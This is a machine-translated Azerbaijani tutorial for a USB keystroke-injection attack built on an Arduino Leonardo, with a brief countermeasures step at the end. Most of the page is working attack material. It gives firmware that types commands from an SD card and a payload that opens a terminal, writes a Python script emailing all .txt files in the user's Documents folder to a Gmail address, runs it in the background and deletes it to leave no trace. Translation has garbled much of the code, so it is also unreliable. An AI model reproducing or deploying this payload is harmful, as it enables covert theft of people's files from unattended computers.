Mündəricat:

Arduino Klaviatura İstifadəsi Demosu (HID) və Qarşısının Alınması: 4 Adım (Şəkillərlə birlikdə)
Arduino Klaviatura İstifadəsi Demosu (HID) və Qarşısının Alınması: 4 Adım (Şəkillərlə birlikdə)

Video: Arduino Klaviatura İstifadəsi Demosu (HID) və Qarşısının Alınması: 4 Adım (Şəkillərlə birlikdə)

Video: Arduino Klaviatura İstifadəsi Demosu (HID) və Qarşısının Alınması: 4 Adım (Şəkillərlə birlikdə)
Video: Web Programming - Computer Science for Business Leaders 2016 2024, Iyul
Anonim
Image
Image
Cihazın qurulması
Cihazın qurulması

Bu layihədə HID (humain interfeys cihazı) istifadə edərək mümkün bir USB hücumunu simulyasiya etmək üçün bir arduino leonardo istifadə edəcəyik.

Bu təlimatı hakerlərə kömək etmək üçün deyil, sizə bəzi təhlükələri göstərmək və özünüzü bu təhlükələrdən necə qorumaq üçün yaratdım. Bu cihaz, hakerlər üçün hər hansı bir platformada istifadə edilə bilən bir cihaz deyil, daha çox detallı bir anlayışın sübutudur.

Aşağıdakıları öyrənəcəyik:

- klaviaturanı təqlid etmək üçün arduino leonardodan necə istifadə olunur

- SD kartlardan məlumatları necə oxumaq olar

- faylları tarayan və onlara e -poçt göndərən bir python skriptini necə yaratmaq olar

- USB hack cihazlarından özünüzü necə qorumalısınız

Addım 1: Materiallar

Parçalar:

1. Arduino Leonardo

2. mikro USB kart oxuyucusu

3. bir neçə GB SD kart

4. bu kimi düymələr (VCC, Yer və siqnal)

5. dişi-kişi və qadın-qadın tullanan kabellər

6. mikro USB -dən USB kabelinə

Addım 2: Cihazın qurulması

Cihazın qurulması
Cihazın qurulması

Bina təlimatından əvvəl iş prinsipini nəzərdən keçirək:

Arduino Leonardo, insan interfeysi cihazı (HID) kimi davrana bilər və buna görə də siçan və klaviaturanı təqlid edə bilər. Bu funksiyanı bir terminal açmaq üçün (UBUNTU linux -da) istifadəçinin ev qovluğunda /Sənədlər qovluğuna daxil olan kiçik bir skript yazmaq üçün orada.txt fayllarını kopyalayıb kiməsə e -poçtla göndərəcəyik. Daha ətraflı məlumat əldə etmək istəyirsinizsə, növbəti addımı yoxlayın.

Demo cihaz olduğu üçün işlər çox sadədir, heç bir şeyi lehimləməyəcəyik.

Tikinti təlimatları

Başlamazdan əvvəl əlavə edilmiş faylları yoxlayın, fritzing sxemlərini və bütün lazımi sənədləri əlavə etdim

1. Komponentləri yığın:

* mikro USB kabelini arduinoya qoşun

* açar açarını arduinoya qoşun (torpaq, vcc və çıxış modulu D8 -ə)

* kart oxuyucusunu arduinoya qoşun (ICSP başlığından istifadə edərək). Arduino Leonardo'da rəqəmsal pinlərə bağlı ICSP başlığı yoxdur, buna görə kart oxuyucusunu ICSP başlığına bağlamalısınız. ICSP-nin bəzi rəsmlərini burada tapa bilərsiniz: https://learn.sparkfun.com/tutorials/installing-an…. SS pinini rəqəmsal pin 10 -a qoşun

2. arduino kodunu əldə edin, github üzərindəki arduino depomuzu klonlaya bilərsiniz: https://github.com/danionescu0/arduino və project/keyboard_exploit -ə gedin və ya aşağıdan əldə edin:

#"Keyboard.h" daxil edin

#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Yuxu::"; String əmriStartingPoint = "Komanda::"; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int əvvəlkiButtonState = YÜKSƏK; void setup () {pinMode (buttonPin, INPUT); Serial.begin (9600); Keyboard.begin (); if (! SD.begin (chipSelect)) {Serial.println ("Kart uğursuz oldu, yoxsa yox!"); qayıtmaq; }} void loop () {int buttonState = digitalRead (buttonPin); if ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println ("Yükləndi!"); gecikmə (500); } əvvəlkiButtonState = buttonState; } vd sdFileToKeyboard () {Fayl dataFile = SD.open (filenameOnCard); if (! dataFile) {Serial.println ("Göstərilən fayl adı SD kartda yoxdur, filenameOnCard yoxlayın!"); } Sətir xətti; while (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (xətt); sendToKeyboard (xətt); } dataFile.close (); } void sendToKeyboard (String line) {String workingLine = line; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (line); qayıtmaq; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Text:"); Serial.println (line); Keyboard.println (xətt); basınEnter (); qayıtmaq; } Serial.println ("Əmr:"); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine += ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); String əmri = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (command! = "") {Serial.print ("Komanda tapıldı:"); Serial.println (əmr); Keyboard.press (getCommandCode (əmr)); gecikmə (delayBetweenCommands); }} Keyboard.releaseAll (); gecikmə (delayBetweenCommands); } boş basınEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Sleeping for:"); Serial.println (sleepAmount); gecikmə (yuxu miqdarı); } char getCommandCode (String text) {char textCharacters [2]; text.toCharArray (mətnXarakterləri, 2); char kodu = textCharacters [0]; kod = (mətn == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: kod; kod = (mətn == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: kod; kod = (mətn == "KEY_LEFT_ALT")? KEY_LEFT_ALT: kod; kod = (mətn == "KEY_UP_ARROW")? KEY_UP_ARROW: kod; kod = (mətn == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: kod; kod = (mətn == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: kod; kod = (mətn == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: kod; kod = (mətn == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: kod; kod = (mətn == "KEY_BACKSPACE")? KEY_BACKSPACE: kod; kod = (mətn == "KEY_TAB")? KEY_TAB: kod; kod = (mətn == "KEY_RETURN")? KEY_RETURN: kod; kod = (mətn == "KEY_ESC")? KEY_ESC: kod; kod = (mətn == "KEY_INSERT")? KEY_INSERT: kod; kod = (mətn == "KEY_DELETE")? KEY_DELETE: kod; kod = (mətn == "KEY_PAGE_UP")? KEY_PAGE_UP: kod; kod = (mətn == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: kod; kod = (mətn == "KEY_HOME")? KEY_HOME: kod; kod = (mətn == "KEY_END")? KEY_END: kod; kod = (mətn == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: kod; kod = (mətn == "KEY_F1")? KEY_F1: kod; kod = (mətn == "KEY_F2")? KEY_F2: kod; kod = (mətn == "KEY_F3")? KEY_F3: kod; kod = (mətn == "KEY_F4")? KEY_F4: kod; kod = (mətn == "KEY_F5")? KEY_F5: kod; kod = (mətn == "KEY_F6")? KEY_F6: kod; kod = (mətn == "KEY_F7")? KEY_F7: kod; kod = (mətn == "KEY_F8")? KEY_F8: kod; kod = (mətn == "KEY_F9")? KEY_F9: kod; kod = (mətn == "KEY_F10")? KEY_F10: kod; kod = (mətn == "KEY_F11")? KEY_F1: kod; kod = (mətn == "KEY_F12")? KEY_F2: kod;

qaytarma kodu;

}

3. Kodu arduino -ya yükləyin, 9600 baud dərəcəsi, serial portu və arduino leonardo seçdiyinizə əmin olun

4. SD kartı FAT16 və ya FAT32 istifadə edərək formatlayın

5. Github repo -nu yuxarıdan klonlamısınızsa, faylın siyahısında hack.txt faylını kopyalayın:

Command:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Command:: KEY_INSERT smtplib idxal qlobunu, e -poçtdan os.path idxal genişləndiricisini əmələ gətirir. E -poçtdan MIMEText idxal etmək

smtp_user = 'sender_gmail_address'

smtp_pass = 'sender_gmail_password' to_address = 'alıcı_adresi' scan_documents_location = 'Sənədlər'

subject = body = 'Hacked kompüterdən fayllar'

header = 'Kimə: {0} nBundan: {1} nMövzu: {2} n'.format (ünvana, smtp_user, mövzu)

def sendMail (mövzuya, mətnə, fayllara = ):

msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = subject msg.attach (MIMEText (mətn)) fayllardakı fayl üçün: part = MIMEBase ('proqram', "octet-stream") part.set_payload (açıq (fayl, "rb"). Oxuyun ()) Encoders.encode_base64 (hissə) hissəsi. add_header ('Content-Disposition', 'əlavə; filename = " % s"' % os.path.basename (fayl)) msg.attach (hissə)

server = smtplib. SMTP ('smtp.gmail.com:587')

server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit ()

sendMail ([to_address], mövzu, gövdə, glob.glob ("{0}/{1}/*. txt". format (genişləndirici ("~"), scan_documents_location)))

Yuxu:: 50 Komanda:: KEY_ESC Yuxu:: 100: x Yuxu:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Yuxu:: 400 Komanda:: KEY_LEFT_ALT, KEY_F4

6. Aşağıdakı sətirləri redaktə edin:

smtp_user = 'sender_email_addr'

smtp_pass = 'sender_password' to_address = 'alıcı_adresi'

Və e -poçt ünvanlarınızla əvəz edin

7. Kartı çıxarın və arduino kart oxuyucusuna daxil edin

Addım 3: Ətraflı olaraq necə işləyir

Hücum necə işləyəcək:

1. Düymə basıldıqda, leonardo sd kart oxuyucusundan istifadə edərək sd kartı oxuyacaq. Kartda düymələri və düymələri birləşdirən xüsusi bir fayl olacaq. Faylın adı "hack.txt" dir.

Fayl xam mətndən ibarət ola bilər və olduğu kimi klaviaturaya keçəcək.

Ayrıca "Sleep::" və "Command::" kimi xüsusi əmrləri ehtiva edə bilər.

Belə bir xətt:

Yuxu:: 200, 200 ms yuxu deməkdir

Belə bir xətt:

Command:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t sol ctrl basıldığını, sol alt basıldığını, t basıldığını və hamısı buraxıldığını bildirir.

Bütün xüsusi açarları burada yoxlaya bilərsiniz:

2. Leonardo sətir -satır oxuyacaq, əmrləri şərh edəcək və klaviaturadakı düymələri təqlid edəcək. "Hack.txt" faylı, aşağıdakıları yerinə yetirən düymələrin birləşməsini ehtiva edir (UBUNTU linux üçün):

a. terminal açır (CTRL + ALT + T)

b. vi istifadə edərək bir python faylı açır ("vi hack.py" yazır)

c. sənədlər ev qovluğundakı bütün mətn fayllarını toplayan və müəyyən bir gmail ünvanına göndərən bir python skript yazır.

d. faylı arxa planda çalıştırır ("nohup python hack.py &")

e. faylı silir (rm -rf hack.py)

f. terminalı bağlayır (ALT + F4)

Bütün bunlar bir neçə saniyə ərzində işləyir və iz buraxmır.

Təkmilləşdirmələr və problemlərin aradan qaldırılması

* Bir terminal açdıqdan sonra python faylını yazdığımı fərq edə bilərsiniz. Bunun daha yaxşı bir yolu onu bir yerə yerləşdirmək və "wget some_url" əmrindən istifadə edərək yükləmək və sonra adını hack.py olaraq dəyişdirmək olacaq.

* Ayrıca, hədəflənmiş əməliyyat sistemi üçün hazır bir istismarı yükləyə və ya işlədə bilərik

* wifi modula əlavə edilə bilər və hacklər WIFI vasitəsilə yüklənə bilər

* arduino micro (daha kiçik) istifadə edə və üzərinə istismar kodu yerləşdirə bilərsiniz (daha kiçik etmək üçün)

Məhdudiyyətlər

1. Simulyasiya edilmiş cihazın (klaviatura və siçan) heç bir rəyi olmadığı üçün gecikmələrdən istifadə etməyimiz lazım olan bir əmr verdikdən sonra nə olacağını bilmirik. Məsələn, terminal açmaq üçün bir əmr verirəm, amma əslində nə vaxt açılacağını bilmirəm, buna görə yazılan simvolların itirilməməsini təmin etmək üçün ixtiyari bir gecikmə göstərməliyəm.

2. USB portuna daxil ola bilməmək və ya bir şey qurmaq icazəsi kimi icazə problemləri ilə qarşılaşa bilərik

3. Yazma sürəti Leonardoda o qədər də böyük deyil

4. Yalnız hədəflənmiş bir əməliyyat sistemi üzərində işləyəcək (bizim vəziyyətimizdə UBUNTU linux)

Növbəti addımda kompüterimizin hack edilməsinin qarşısını almaq üçün bu məhdudiyyətlərdən istifadə etməyin yollarını tapmağa çalışacağıq

Addım 4: Əks tədbirlər

1. USB portlarının deaktiv edilməsi

-Windows üçün bu təlimatı yoxlaya bilərsiniz:

2. USB cihazlarını ağ siyahıya salın:

- Windows üçün:

2. Uzaq olmadığınız zaman kompüterinizi kilidləyin

3. Kök olaraq daxil olmayın (hər şeyi quraşdırmaq üçün parol tələb edin)

4. Özünüzü güncel tutun (avtomatik yeniləmələr aktivdir)

Tövsiyə: